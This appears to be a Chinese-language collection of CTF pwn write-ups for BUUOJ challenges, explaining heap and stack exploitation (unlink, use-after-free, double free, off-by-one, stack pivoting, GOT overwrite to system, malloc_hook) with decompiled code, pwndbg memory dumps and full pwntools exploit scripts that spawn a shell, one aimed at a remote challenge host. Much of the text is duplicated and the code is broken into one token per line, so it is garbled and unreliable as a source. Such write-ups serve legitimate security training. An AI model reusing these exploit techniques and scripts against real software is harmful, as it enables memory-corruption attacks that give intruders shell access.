我们先add回来0,填写满8个字符覆盖fd,然后里面的内容就是bk加一堆废物数据
再把2也申请回来,里面写什么无所谓了
再去show的时候就可以得到chunk2的地址,由此可以算出管理区块的地址以及其他chunk的地址
2.unlink泄露libc
unlink的话就老样子咯,构造一个chunk让他的fd bk去指向管理的内容地址
这样我们下次去写入的时候就可以控制管理堆里面的指针了
管理堆的构成由最大chunk数量,当前chunk数量,chunk状态,chunk大小,chunk地址
我们要控制的就是chunk地址,在里面写入free的got
show出来的就是他的got就得到了libc
然后我们再去写入的时候就可以把got更改,改成system的地址
最后传入sh后去free去getshell
exp
参考链接:https://www.dazhuanlan.com/dovetion/topics/997525
这个题比较贴合实际,和硬件漏洞差不多,就是一个登陆模块
他要求我们输入base64的数据然后去解base64再去比对,比对成功就给权限
但是其中比对函数auth里面涉及到md5,破解是不可能的
漏洞点在也这里
我们不难发现memcpy这里的input是可以覆盖v4的 v4大小8 input 12 input存放解密后的数据
memcpy函数就是把a1字符大小的input的内容给到v4
我们可以发现v4到bp寄存器大小刚好是4,8+4=12
但是这样要注意一点,如果正常的栈溢出需要的大小为16这里只有12我们只能取巧,这个巧就是靠逆向分析了,没办法的
这里我们很明确的可以控制他的bp寄存器,那么同时发现有两个leave连在一起
第一个 leave 执行前:
第一个 leave 执行后:
leave 语句执行后 ebp 的值变为原先储存的值,esp 的值变为原来 ebp 的值加 4,同理:
第二个 leave 执行前:
第二个 leave 执行后:
所以攻击思路为:输入的 12 个字节的最后四个字节为 input 的地址:
即覆盖了 ebp,ebp 保存的是上一个栈帧的 esp,(最开始压栈的mov ebp, esp操作)。这里覆盖的是 main 函数的 ebp(因为 auth 函数进入时 push ebp,push 进来的是 main 函数的 ebp 值),所以在 main 函数时的 esp 还是正常的,ebp 已经是我们覆盖的值了。所以第二次 leave 后,esp 指向的是 input 的第 4~7 个字节,然后 ret,弹出这四个字节,所以这四个字节要填充调用 system 的地址。
总的来说就是通过控制 ebp 来控制 esp,进而控制 eip,这可以在 offbyone 漏洞中利用,通过溢出 ebp 来完成攻击
exp
存在UAF漏洞然后show功能需要那个bss段的地址等于0xdeadbeefdeadbeef才可以,而且show完之后直接
close(1)关闭输出了不过没什么事情,反正用sleep等下程序就好了,最后打通了直接文件重定向就行了
创建的chunk不能大于128(十进制),没有unsortedbin,但是有UAF可以形成double free
但是又不能指定chunk释放,libc2.23的double free又需要中间夹着一个,这时候就要用到special里面的chunk
通过fastbin切割得到small bin去指向main_arena
代码如下
通过切割calloc生成的fastbin产生small bin达到获取libc指针
gdb结果如下,这样我们就得到个可控的fd bk指针
在程序刚开始的时候给了两次写入机会,我们要的就是第一次机会对0x602060的控制构建假堆头便于等下控制指针过去之后
让程序误认为啊,我是个正常的堆,然后里面塞进去got表把0x602090的地方数据写入0xdeadbeefdeadbeef
然后再去show,就可以得到了libc
fake chunk head如下
泄露libc代码如下
刚才我们double free了
如果是正常的double free比如chunk 0 1 2 这样free 0 1 0 此时就会0->1->0->1形成这样的循环链表
但是这样呢涉及到另外一个chunk的double free
就会如下当我们刚才double free后
我们add一个chunk就能到buf控制他的fd指针指向fakechunk的地址
然后连续申请两次之后再申请一个就是我们的fake chunk的地址
然后去写入数据泄露libc
写入好后的模样
之后呢,我们就能传入onegadget啦
方法一样的构造,先double free 然后写入地址我们这里打malloc_hook然后用realloc_hook压栈
exp:
这个和SWPUCTF_2019_login差不多,不过有更好的办法
上次我们拆分成3次写入很麻烦,这里实际上两次也可以,然后不一定要去利用bq链延续下去改一整条链
我们可以把bp链上面的地址改了,没什么影响的而且这样省去了恢复bp链
exp
void __cdecl __noreturn main()
{
char v0;
/
/
[esp
+
3h
] [ebp
-
15h
] BYREF
int
v1;
/
/
[esp
+
4h
] [ebp
-
14h
] BYREF
int
v2[
4
];
/
/
[esp
+
8h
] [ebp
-
10h
] BYREF
v2[
1
]
=
__readgsdword(
0x14u
);
setvbuf(stdin,
0
,
2
,
0
);
setvbuf(stdout,
0
,
2
,
0
);
alarm(
0x14u
);
while
(
1
)
{
puts(
"0: Add a user"
);
puts(
"1: Delete a user"
);
puts(
"2: Display a user"
);
puts(
"3: Update a user description"
);
puts(
"4: Exit"
);
printf(
"Action: "
);
if
( __isoc99_scanf(
"%d"
, &v1)
=
=
-
1
)
break
;
if
( !v1 )
{
printf(
"size of description: "
);
__isoc99_scanf(
"%u%c"
, v2, &v0);
add(v2[
0
]);
}
if
( v1
=
=
1
)
{
printf(
"index: "
);
__isoc99_scanf(
"%d"
, v2);
dele(LOBYTE(v2[
0
]));
}
if
( v1
=
=
2
)
{
printf(
"index: "
);
__isoc99_scanf(
"%d"
, v2);
show(v2[
0
]);
}
if
( v1
=
=
3
)
{
printf(
"index: "
);
__isoc99_scanf(
"%d"
, v2);
edit(LOBYTE(v2[
0
]));
}
if
( v1
=
=
4
)
{
puts(
"Bye"
);
exit(
0
);
}
if
( (unsigned __int8)byte_804B069 >
0x31u
)
{
puts(
"maximum capacity exceeded, bye"
);
exit(
0
);
}
}
exit(
1
);
}
void __cdecl __noreturn main()
{
char v0;
/
/
[esp
+
3h
] [ebp
-
15h
] BYREF
int
v1;
/
/
[esp
+
4h
] [ebp
-
14h
] BYREF
int
v2[
4
];
/
/
[esp
+
8h
] [ebp
-
10h
] BYREF
v2[
1
]
=
__readgsdword(
0x14u
);
setvbuf(stdin,
0
,
2
,
0
);
setvbuf(stdout,
0
,
2
,
0
);
alarm(
0x14u
);
while
(
1
)
{
puts(
"0: Add a user"
);
puts(
"1: Delete a user"
);
puts(
"2: Display a user"
);
puts(
"3: Update a user description"
);
puts(
"4: Exit"
);
printf(
"Action: "
);
if
( __isoc99_scanf(
"%d"
, &v1)
=
=
-
1
)
break
;
if
( !v1 )
{
printf(
"size of description: "
);
__isoc99_scanf(
"%u%c"
, v2, &v0);
add(v2[
0
]);
}
if
( v1
=
=
1
)
{
printf(
"index: "
);
__isoc99_scanf(
"%d"
, v2);
dele(LOBYTE(v2[
0
]));
}
if
( v1
=
=
2
)
{
printf(
"index: "
);
__isoc99_scanf(
"%d"
, v2);
show(v2[
0
]);
}
if
( v1
=
=
3
)
{
printf(
"index: "
);
__isoc99_scanf(
"%d"
, v2);
edit(LOBYTE(v2[
0
]));
}
if
( v1
=
=
4
)
{
puts(
"Bye"
);
exit(
0
);
}
if
( (unsigned __int8)byte_804B069 >
0x31u
)
{
puts(
"maximum capacity exceeded, bye"
);
exit(
0
);
}
}
exit(
1
);
}
_DWORD
*
__cdecl add(size_t a1)
{
void
*
s;
/
/
[esp
+
14h
] [ebp
-
14h
]
_DWORD
*
v3;
/
/
[esp
+
18h
] [ebp
-
10h
]
s
=
malloc(a1);
memset(s,
0
, a1);
v3
=
malloc(
0x80u
);
memset(v3,
0
,
0x80u
);
*
v3
=
s;
*
(&ptr
+
(unsigned __int8)byte_804B069)
=
v3;
printf(
"name: "
);
sub_80486BB((char
*
)
*
(&ptr
+
(unsigned __int8)byte_804B069)
+
4
,
124
);
edit((unsigned __int8)byte_804B069
+
+
);
return
v3;
}
_DWORD
*
__cdecl add(size_t a1)
{
void
*
s;
/
/
[esp
+
14h
] [ebp
-
14h
]
_DWORD
*
v3;
/
/
[esp
+
18h
] [ebp
-
10h
]
s
=
malloc(a1);
memset(s,
0
, a1);
v3
=
malloc(
0x80u
);
memset(v3,
0
,
0x80u
);
*
v3
=
s;
*
(&ptr
+
(unsigned __int8)byte_804B069)
=
v3;
printf(
"name: "
);
sub_80486BB((char
*
)
*
(&ptr
+
(unsigned __int8)byte_804B069)
+
4
,
124
);
edit((unsigned __int8)byte_804B069
+
+
);
return
v3;
}
add(
80
,
80
,
"H.R.P"
)
add(
80
,
80
,
"H.R.P"
)
add(
80
,
80
,
"/bin/sh\x00"
)
add(
80
,
80
,
"H.R.P"
)
add(
80
,
80
,
"H.R.P"
)
add(
80
,
80
,
"/bin/sh\x00"
)
pwndbg> x
/
128gx
0x89bd000
0x89bd000
:
0x0000011100000000
0x6161616161616161
0x89bd010
:
0x6161616161616161
0x6161616161616161
0x89bd020
:
0x6161616161616161
0x6161616161616161
0x89bd030
:
0x6161616161616161
0x6161616161616161
0x89bd040
:
0x6161616161616161
0x6161616161616161
0x89bd050
:
0x6161616161616161
0x6161616161616161
0x89bd060
:
0x6161616161616161
0x6161616161616161
0x89bd070
:
0x6161616161616161
0x6161616161616161
0x89bd080
:
0x6161616161616161
0x6161616161616161
0x89bd090
:
0x6161616161616161
0x6161616161616161
0x89bd0a0
:
0x6161616161616161
0x6161616161616161
0x89bd0b0
:
0x6161616161616161
0x6161616161616161
0x89bd0c0
:
0x6161616161616161
0x6161616161616161
0x89bd0d0
:
0x6161616161616161
0x6161616161616161
0x89bd0e0
:
0x6161616161616161
0x6161616161616161
0x89bd0f0
:
0x6161616161616161
0x6161616161616161
0x89bd100
:
0x6161616161616161
0x6161616161616161
0x89bd110
:
0x6161616161616161
0x6161616161616161
0x89bd120
:
0x6161616161616161
0x6161616161616161
0x89bd130
:
0x6161616161616161
0x6161616161616161
0x89bd140
:
0x6161616161616161
0x6161616161616161
0x89bd150
:
0x6161616161616161
0x6161616161616161
0x89bd160
:
0x6161616161616161
0x6161616161616161
0x89bd170
:
0x6161616161616161
0x6161616161616161
0x89bd180
:
0x6161616161616161
0x6161616161616161
0x89bd190
:
0x6161616161616161
0x6161616161616161
0x89bd1a0
:
0x006e69000804b010
0x0000000000000000
pwndbg> x
/
128gx
0x89bd000
0x89bd000
:
0x0000011100000000
0x6161616161616161
0x89bd010
:
0x6161616161616161
0x6161616161616161
0x89bd020
:
0x6161616161616161
0x6161616161616161
0x89bd030
:
0x6161616161616161
0x6161616161616161
0x89bd040
:
0x6161616161616161
0x6161616161616161
0x89bd050
:
0x6161616161616161
0x6161616161616161
0x89bd060
:
0x6161616161616161
0x6161616161616161
0x89bd070
:
0x6161616161616161
0x6161616161616161
0x89bd080
:
0x6161616161616161
0x6161616161616161
0x89bd090
:
0x6161616161616161
0x6161616161616161
0x89bd0a0
:
0x6161616161616161
0x6161616161616161
0x89bd0b0
:
0x6161616161616161
0x6161616161616161
0x89bd0c0
:
0x6161616161616161
0x6161616161616161
0x89bd0d0
:
0x6161616161616161
0x6161616161616161
0x89bd0e0
:
0x6161616161616161
0x6161616161616161
0x89bd0f0
:
0x6161616161616161
0x6161616161616161
0x89bd100
:
0x6161616161616161
0x6161616161616161
0x89bd110
:
0x6161616161616161
0x6161616161616161
0x89bd120
:
0x6161616161616161
0x6161616161616161
0x89bd130
:
0x6161616161616161
0x6161616161616161
0x89bd140
:
0x6161616161616161
0x6161616161616161
0x89bd150
:
0x6161616161616161
0x6161616161616161
0x89bd160
:
0x6161616161616161
0x6161616161616161
0x89bd170
:
0x6161616161616161
0x6161616161616161
0x89bd180
:
0x6161616161616161
0x6161616161616161
0x89bd190
:
0x6161616161616161
0x6161616161616161
0x89bd1a0
:
0x006e69000804b010
0x0000000000000000
0x804c080
:
0x0000000000000000
0x0000008800000088
0x804c090
:
0x2e522e480804c008
0x0000000000000050
0x804c0a0
:
0x0000000000000000
0x0000000000000000
0x804c0b0
:
0x0000000000000000
0x0000000000000000
0x804c0c0
:
0x0000000000000000
0x0000000000000000
0x804c0d0
:
0x0000000000000000
0x0000000000000000
0x804c0e0
:
0x0000000000000000
0x0000000000000000
0x804c0f0
:
0x0000000000000000
0x0000000000000000
0x804c100
:
0x0000000000000000
0x0000000000000000
0x804c110
:
0x0000008800000110
0x0000502e522e4848
0x804c120
:
0x0000000000000000
0x0000000000000000
0x804c130
:
0x0000000000000000
0x0000000000000000
0x804c140
:
0x0000000000000000
0x0000000000000000
0x804c150
:
0x0000000000000000
0x0000000000000000
0x804c160
:
0x0000000000000000
0x0000000000000000
0x804c170
:
0x0000000000000000
0x0000000000000000
0x804c180
:
0x0000000000000000
0x0000000000000000
0x804c190
:
0x0000000000000000
0x0000008900000000
0x804c080
:
0x0000000000000000
0x0000008800000088
0x804c090
:
0x2e522e480804c008
0x0000000000000050
0x804c0a0
:
0x0000000000000000
0x0000000000000000
0x804c0b0
:
0x0000000000000000
0x0000000000000000
0x804c0c0
:
0x0000000000000000
0x0000000000000000
0x804c0d0
:
0x0000000000000000
0x0000000000000000
0x804c0e0
:
0x0000000000000000
0x0000000000000000
0x804c0f0
:
0x0000000000000000
0x0000000000000000
0x804c100
:
0x0000000000000000
0x0000000000000000
0x804c110
:
0x0000008800000110
0x0000502e522e4848
0x804c120
:
0x0000000000000000
0x0000000000000000
0x804c130
:
0x0000000000000000
0x0000000000000000
0x804c140
:
0x0000000000000000
0x0000000000000000
0x804c150
:
0x0000000000000000
0x0000000000000000
0x804c160
:
0x0000000000000000
0x0000000000000000
0x804c170
:
0x0000000000000000
0x0000000000000000
0x804c180
:
0x0000000000000000
0x0000000000000000
0x804c190
:
0x0000000000000000
0x0000008900000000
unsigned
int
__cdecl edit(unsigned __int8 a1)
{
char v2;
/
/
[esp
+
17h
] [ebp
-
11h
] BYREF
int
v3;
/
/
[esp
+
18h
] [ebp
-
10h
] BYREF
unsigned
int
v4;
/
/
[esp
+
1Ch
] [ebp
-
Ch]
v4
=
__readgsdword(
0x14u
);
if
( a1 < (unsigned __int8)byte_804B069 &&
*
(&ptr
+
a1) )
{
v3
=
0
;
printf(
"text length: "
);
__isoc99_scanf(
"%u%c"
, &v3, &v2);
if
( (char
*
)(v3
+
*
(_DWORD
*
)
*
(&ptr
+
a1)) >
=
(char
*
)
*
(&ptr
+
a1)
-
4
)
{
puts(
"my l33t defenses cannot be fooled, cya!"
);
exit(
1
);
}
printf(
"text: "
);
get(
*
(char
*
*
)
*
(&ptr
+
a1), v3
+
1
);
}
return
__readgsdword(
0x14u
) ^ v4;
}
unsigned
int
__cdecl edit(unsigned __int8 a1)
{
char v2;
/
/
[esp
+
17h
] [ebp
-
11h
] BYREF
int
v3;
/
/
[esp
+
18h
] [ebp
-
10h
] BYREF
unsigned
int
v4;
/
/
[esp
+
1Ch
] [ebp
-
Ch]
v4
=
__readgsdword(
0x14u
);
if
( a1 < (unsigned __int8)byte_804B069 &&
*
(&ptr
+
a1) )
{
v3
=
0
;
printf(
"text length: "
);
__isoc99_scanf(
"%u%c"
, &v3, &v2);
if
( (char
*
)(v3
+
*
(_DWORD
*
)
*
(&ptr
+
a1)) >
=
(char
*
)
*
(&ptr
+
a1)
-
4
)
{
puts(
"my l33t defenses cannot be fooled, cya!"
);
exit(
1
);
}
printf(
"text: "
);
get(
*
(char
*
*
)
*
(&ptr
+
a1), v3
+
1
);
}
return
__readgsdword(
0x14u
) ^ v4;
}
from
pwn
import
*
from
LibcSearcher
import
*
context.log_level
=
'debug'
p
=
process(
'./babychunk'
)
#p = remote('node4.buuoj.cn', 28956)
elf
=
ELF(
'babychunk'
)
def
Add(size, length, text):
p.sendlineafter(
"Action: "
,
'0'
)
p.sendlineafter(
"description: "
,
str
(size))
p.sendlineafter(
"name: "
,
'qin'
)
p.sendlineafter(
"length: "
,
str
(length))
p.sendlineafter(
"text: "
, text)
def
Del(index):
p.sendlineafter(
"Action: "
,
'1'
)
p.sendlineafter(
"index: "
,
str
(index))
def
Dis(index):
p.sendlineafter(
"Action: "
,
'2'
)
p.sendlineafter(
"index: "
,
str
(index))
def
Upd(index, length, text):
p.sendlineafter(
"Action: "
,
'3'
)
p.sendlineafter(
"index: "
,
str
(index))
p.sendlineafter(
"length: "
,
str
(length))
p.sendlineafter(
"text: "
, text)
Add(
0x80
,
0x80
,
'H.R.P'
)
Add(
0x80
,
0x80
,
'H.R.P'
)
Add(
0x8
,
0x8
,
'/bin/sh\x00'
)
Del(
0
)
Add(
0x100
,
0x19c
,
"a"
*
0x198
+
p32(elf.got[
'free'
]))
gdb.attach(p)
print
(
len
(p32(elf.got[
'free'
])))
Dis(
1
)
p.recvuntil(
"description: "
)
free_addr
=
u32(p.recv(
4
))
print
(
hex
(free_addr))
libc
=
LibcSearcher(
'free'
, free_addr)
libc_base
=
free_addr
-
libc.dump(
'free'
)
sys_addr
=
libc_base
+
libc.dump(
'system'
)
Upd(
1
,
0x4
, p32(sys_addr))
Del(
2
)
p.interactive()
from
pwn
import
*
from
LibcSearcher
import
*
context.log_level
=
'debug'
p
=
process(
'./babychunk'
)
#p = remote('node4.buuoj.cn', 28956)
elf
=
ELF(
'babychunk'
)
def
Add(size, length, text):
p.sendlineafter(
"Action: "
,
'0'
)
p.sendlineafter(
"description: "
,
str
(size))
p.sendlineafter(
"name: "
,
'qin'
)
p.sendlineafter(
"length: "
,
str
(length))
p.sendlineafter(
"text: "
, text)
def
Del(index):
p.sendlineafter(
"Action: "
,
'1'
)
p.sendlineafter(
"index: "
,
str
(index))
def
Dis(index):
p.sendlineafter(
"Action: "
,
'2'
)
p.sendlineafter(
"index: "
,
str
(index))
def
Upd(index, length, text):
p.sendlineafter(
"Action: "
,
'3'
)
p.sendlineafter(
"index: "
,
str
(index))
p.sendlineafter(
"length: "
,
str
(length))
p.sendlineafter(
"text: "
, text)
Add(
0x80
,
0x80
,
'H.R.P'
)
Add(
0x80
,
0x80
,
'H.R.P'
)
Add(
0x8
,
0x8
,
'/bin/sh\x00'
)
Del(
0
)
Add(
0x100
,
0x19c
,
"a"
*
0x198
+
p32(elf.got[
'free'
]))
gdb.attach(p)
print
(
len
(p32(elf.got[
'free'
])))
Dis(
1
)
p.recvuntil(
"description: "
)
free_addr
=
u32(p.recv(
4
))
print
(
hex
(free_addr))
libc
=
LibcSearcher(
'free'
, free_addr)
libc_base
=
free_addr
-
libc.dump(
'free'
)
sys_addr
=
libc_base
+
libc.dump(
'system'
)
Upd(
1
,
0x4
, p32(sys_addr))
Del(
2
)
p.interactive()
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
void (
*
v3)(void);
/
/
rax
const char
*
v4;
/
/
rbx
const char
*
v5;
/
/
rax
void (
*
*
v7)(void);
/
/
[rsp
+
10h
] [rbp
-
130h
] BYREF
char v8[
176
];
/
/
[rsp
+
20h
] [rbp
-
120h
] BYREF
char v9[
16
];
/
/
[rsp
+
D0h] [rbp
-
70h
] BYREF
char v10[
64
];
/
/
[rsp
+
E0h] [rbp
-
60h
] BYREF
unsigned __int64 v11;
/
/
[rsp
+
128h
] [rbp
-
18h
]
v11
=
__readfsqword(
0x28u
);
setbuf(stdout,
0LL
);
strcpy(v9,
"2jctf_pa5sw0rd"
);
memset(v10,
0
, sizeof(v10));
Admin::Admin((Admin
*
)v8,
"admin"
, v9);
puts(
" _____ _ ____ _____ _____ _ _ \n"
"|__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ \n"
" / /_ | | | | | | |_ | | / _ \\ / _` | | '_ \\ \n"
" / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | |\n"
"/____\\___/ \\____| |_| |_| |_____\\___/ \\__, |_|_| |_|\n"
" |___/ "
);
printf(
"Please enter username: "
);
User::read_name((User
*
)&login);
printf(
"Please enter password: "
);
v3
=
(void (
*
)(void))main::{
lambda
(void)
#1}::operator void (*)(void)();
v7
=
(void (
*
*
)(void))check(v3);
User::read_password((User
*
)&login);
v4
=
(const char
*
)User::get_password((User
*
)v8);
v5
=
(const char
*
)User::get_password((User
*
)&login);
bug(&v7, v5, v4);
return
0
;
}
int
__cdecl main(
int
argc, const char
*
*
argv, const char
*
*
envp)
{
void (
*
v3)(void);
/
/
rax
const char
*
v4;
/
/
rbx
const char
*
v5;
/
/
rax
void (
*
*
v7)(void);
/
/
[rsp
+
10h
] [rbp
-
130h
] BYREF
char v8[
176
];
/
/
[rsp
+
20h
] [rbp
-
120h
] BYREF
char v9[
16
];
/
/
[rsp
+
D0h] [rbp
-
70h
] BYREF
char v10[
64
];
/
/
[rsp
+
E0h] [rbp
-
60h
] BYREF
unsigned __int64 v11;
/
/
[rsp
+
128h
] [rbp
-
18h
]
v11
=
__readfsqword(
0x28u
);
setbuf(stdout,
0LL
);
strcpy(v9,
"2jctf_pa5sw0rd"
);
memset(v10,
0
, sizeof(v10));
Admin::Admin((Admin
*
)v8,
"admin"
, v9);
puts(
" _____ _ ____ _____ _____ _ _ \n"
"|__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ \n"
" / /_ | | | | | | |_ | | / _ \\ / _` | | '_ \\ \n"
" / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | |\n"
"/____\\___/ \\____| |_| |_| |_____\\___/ \\__, |_|_| |_|\n"
" |___/ "
);
printf(
"Please enter username: "
);
User::read_name((User
*
)&login);
printf(
"Please enter password: "
);
v3
=
(void (
*
)(void))main::{
lambda
(void)
#1}::operator void (*)(void)();
v7
=
(void (
*
*
)(void))check(v3);
User::read_password((User
*
)&login);
v4
=
(const char
*
)User::get_password((User
*
)v8);
v5
=
(const char
*
)User::get_password((User
*
)&login);
bug(&v7, v5, v4);
return
0
;
}
unsigned __int64 __fastcall bug(void (
*
*
*
a1)(void), const char
*
a2, const char
*
a3){ char s[
88
];
/
/
[rsp
+
20h
] [rbp
-
60h
] BYREF unsigned __int64 v5;
/
/
[rsp
+
78h
] [rbp
-
8h
] v5
=
__readfsqword(
0x28u
);
if
( !strcmp(a2, a3) ) { snprintf(s,
0x50uLL
,
"Password accepted: %s\n"
, s); puts(s); (
*
*
a1)(); }
else
{ puts(
"Nope!"
); }
return
__readfsqword(
0x28u
) ^ v5;}
unsigned __int64 __fastcall bug(void (
*
*
*
a1)(void), const char
*
a2, const char
*
a3){ char s[
88
];
/
/
[rsp
+
20h
] [rbp
-
60h
] BYREF unsigned __int64 v5;
/
/
[rsp
+
78h
] [rbp
-
8h
] v5
=
__readfsqword(
0x28u
);
if
( !strcmp(a2, a3) ) { snprintf(s,
0x50uLL
,
"Password accepted: %s\n"
, s); puts(s); (
*
*
a1)(); }
else
{ puts(
"Nope!"
); }
return
__readfsqword(
0x28u
) ^ v5;}
from
pwn
import
*
p
=
remote(
'node4.buuoj.cn'
,
25653
) payload
=
'2jctf_pa5sw0rd'
.ljust(
0x48
,
'\x00'
)
+
p64(
0x400e88
)p.sendlineafter(
'username: '
,
'admin'
)p.sendafter(
'password: '
, payload)p.interactive()
from
pwn
import
*
p
=
remote(
'node4.buuoj.cn'
,
25653
) payload
=
'2jctf_pa5sw0rd'
.ljust(
0x48
,
'\x00'
)
+
p64(
0x400e88
)p.sendlineafter(
'username: '
,
'admin'
)p.sendafter(
'password: '
, payload)p.interactive()
__int64 __fastcall main(__int64 a1, char
*
*
a2, char
*
*
a3)
{
unsigned
int
v4;
/
/
[rsp
+
4h
] [rbp
-
Ch]
sub_AD0(a1, a2, a3);
while
(
1
)
{
menu();
v4
=
choice(v4);
switch ( v4 )
{
case
1u
:
add();
break
;
case
2u
:
puts(
"Tell me the secret about you!!"
);
edit();
break
;
case
3u
:
dele();
break
;
case
4u
:
show();
break
;
case
5u
:
return
0LL
;
default:
puts(
"Wrong try again!!"
);
break
;
}
}
}
__int64 __fastcall main(__int64 a1, char
*
*
a2, char
*
*
a3)
{
unsigned
int
v4;
/
/
[rsp
+
4h
] [rbp
-
Ch]
sub_AD0(a1, a2, a3);
while
(
1
)
{
menu();
v4
=
choice(v4);
switch ( v4 )
{
case
1u
:
add();
break
;
case
2u
:
puts(
"Tell me the secret about you!!"
);
edit();
break
;
case
3u
:
dele();
break
;
case
4u
:
show();
break
;
case
5u
:
return
0LL
;
default:
puts(
"Wrong try again!!"
);
break
;
}
}
}
__int64 __fastcall BUG(
int
a1, unsigned
int
a2){ __int64 result;
/
/
rax
if
( a1 > (
int
)a2 )
return
a2;
if
( a2
-
a1
=
=
10
) LODWORD(result)
=
a1
+
1
;
/
/
如果修改大小比申请堆大
10
就可以多输入一个字节
else
LODWORD(result)
=
a1;
return
(unsigned
int
)result;}
__int64 __fastcall BUG(
int
a1, unsigned
int
a2){ __int64 result;
/
/
rax
if
( a1 > (
int
)a2 )
return
a2;
if
( a2
-
a1
=
=
10
) LODWORD(result)
=
a1
+
1
;
/
/
如果修改大小比申请堆大
10
就可以多输入一个字节
else
LODWORD(result)
=
a1;
return
(unsigned
int
)result;}
add(
0x18
)
#0add(0x10)#1add(0x90)#2add(0x10)#3
add(
0x18
)
#0add(0x10)#1add(0x90)#2add(0x10)#3
pwndbg> x
/
128gx
0x5565289df0000x5565289df000
:
0x0000000000000000
0x00000000000000210x5565289df010
:
0x0000000000000000
0x00000000000000000x5565289df020
:
0x0000000000000000
0x00000000000000210x5565289df030
:
0x0000000000000000
0x00000000000000000x5565289df040
:
0x0000000000000000
0x00000000000000a10x5565289df050
:
0x0000000000000000
0x00000000000000000x5565289df060
:
0x0000000000000000
0x00000000000000000x5565289df070
:
0x0000000000000000
0x00000000000000000x5565289df080
:
0x0000000000000000
0x00000000000000000x5565289df090
:
0x0000000000000000
0x00000000000000000x5565289df0a0
:
0x0000000000000000
0x00000000000000000x5565289df0b0
:
0x0000000000000000
0x00000000000000000x5565289df0c0
:
0x0000000000000000
0x00000000000000000x5565289df0d0
:
0x0000000000000000
0x00000000000000000x5565289df0e0
:
0x0000000000000000
0x00000000000000210x5565289df0f0
:
0x0000000000000000
0x00000000000000000x5565289df100
:
0x0000000000000000
0x0000000000020f01
pwndbg> x
/
128gx
0x5565289df0000x5565289df000
:
0x0000000000000000
0x00000000000000210x5565289df010
:
0x0000000000000000
0x00000000000000000x5565289df020
:
0x0000000000000000
0x00000000000000210x5565289df030
:
0x0000000000000000
0x00000000000000000x5565289df040
:
0x0000000000000000
0x00000000000000a10x5565289df050
:
0x0000000000000000
0x00000000000000000x5565289df060
:
0x0000000000000000
0x00000000000000000x5565289df070
:
0x0000000000000000
0x00000000000000000x5565289df080
:
0x0000000000000000
0x00000000000000000x5565289df090
:
0x0000000000000000
0x00000000000000000x5565289df0a0
:
0x0000000000000000
0x00000000000000000x5565289df0b0
:
0x0000000000000000
0x00000000000000000x5565289df0c0
:
0x0000000000000000
0x00000000000000000x5565289df0d0
:
0x0000000000000000
0x00000000000000000x5565289df0e0
:
0x0000000000000000
0x00000000000000210x5565289df0f0
:
0x0000000000000000
0x00000000000000000x5565289df100
:
0x0000000000000000
0x0000000000020f01
pwndbg> x
/
128gx
0x55e6c276f0000x55e6c276f000
:
0x0000000000000000
0x00000000000000210x55e6c276f010
:
0x6161616161616161
0x61616161616161610x55e6c276f020
:
0x0000000000000020
0x00000000000000a10x55e6c276f030
:
0x0000000000000000
0x00000000000000000x55e6c276f040
:
0x0000000000000000
0x00000000000000a1
pwndbg> x
/
128gx
0x55e6c276f0000x55e6c276f000
:
0x0000000000000000
0x00000000000000210x55e6c276f010
:
0x6161616161616161
0x61616161616161610x55e6c276f020
:
0x0000000000000020
0x00000000000000a10x55e6c276f030
:
0x0000000000000000
0x00000000000000000x55e6c276f040
:
0x0000000000000000
0x00000000000000a1
pwndbg> x
/
32gx
0x558e099430000x558e09943000
:
0x0000000000000000
0x00000000000000210x558e09943010
:
0x6161616161616161
0x61616161616161610x558e09943020
:
0x0000000000000020
0x00000000000000a10x558e09943030
:
0x0000000000000000
0x00000000000000000x558e09943040
:
0x0000000000000000
0x00000000000000a10x558e09943050
:
0x0000000000000000
0x00000000000000000x558e09943060
:
0x0000000000000000
0x00000000000000000x558e09943070
:
0x0000000000000000
0x00000000000000000x558e09943080
:
0x0000000000000000
0x00000000000000000x558e09943090
:
0x0000000000000000
0x00000000000000000x558e099430a0
:
0x0000000000000000
0x00000000000000000x558e099430b0
:
0x0000000000000000
0x00000000000000000x558e099430c0
:
0x00000000000000a0
0x00000000000000210x558e099430d0
:
0x0000000000000000
0x0000000000000000
pwndbg> x
/
32gx
0x558e099430000x558e09943000
:
0x0000000000000000
0x00000000000000210x558e09943010
:
0x6161616161616161
0x61616161616161610x558e09943020
:
0x0000000000000020
0x00000000000000a10x558e09943030
:
0x0000000000000000
0x00000000000000000x558e09943040
:
0x0000000000000000
0x00000000000000a10x558e09943050
:
0x0000000000000000
0x00000000000000000x558e09943060
:
0x0000000000000000
0x00000000000000000x558e09943070
:
0x0000000000000000
0x00000000000000000x558e09943080
:
0x0000000000000000
0x00000000000000000x558e09943090
:
0x0000000000000000
0x00000000000000000x558e099430a0
:
0x0000000000000000
0x00000000000000000x558e099430b0
:
0x0000000000000000
0x00000000000000000x558e099430c0
:
0x00000000000000a0
0x00000000000000210x558e099430d0
:
0x0000000000000000
0x0000000000000000
pwndbg> heapAllocated chunk | PREV_INUSEAddr:
0x55d4dd2c5000Size
:
0x21Free
chunk (unsortedbin) | PREV_INUSEAddr:
0x55d4dd2c5020Size
:
0xa1fd
:
0x7f2fff3fab78bk
:
0x7f2fff3fab78Allocated
chunkAddr:
0x55d4dd2c50c0Size
:
0x20Allocated
chunk | PREV_INUSEAddr:
0x55d4dd2c50e0Size
:
0x21Top
chunk | PREV_INUSEAddr:
0x55d4dd2c5100Size
:
0x20f01
pwndbg> heapAllocated chunk | PREV_INUSEAddr:
0x55d4dd2c5000Size
:
0x21Free
chunk (unsortedbin) | PREV_INUSEAddr:
0x55d4dd2c5020Size
:
0xa1fd
:
0x7f2fff3fab78bk
:
0x7f2fff3fab78Allocated
chunkAddr:
0x55d4dd2c50c0Size
:
0x20Allocated
chunk | PREV_INUSEAddr:
0x55d4dd2c50e0Size
:
0x21Top
chunk | PREV_INUSEAddr:
0x55d4dd2c5100Size
:
0x20f01
pwndbg> x
/
32gx
0x55d4dd2c50200x55d4dd2c5020
:
0x0000000000000020
0x00000000000000a10x55d4dd2c5030
:
0x00007f2fff3fab78
0x00007f2fff3fab780x55d4dd2c5040
:
0x0000000000000000
0x00000000000000a10x55d4dd2c5050
:
0x0000000000000000
0x00000000000000000x55d4dd2c5060
:
0x0000000000000000
0x00000000000000000x55d4dd2c5070
:
0x0000000000000000
0x00000000000000000x55d4dd2c5080
:
0x0000000000000000
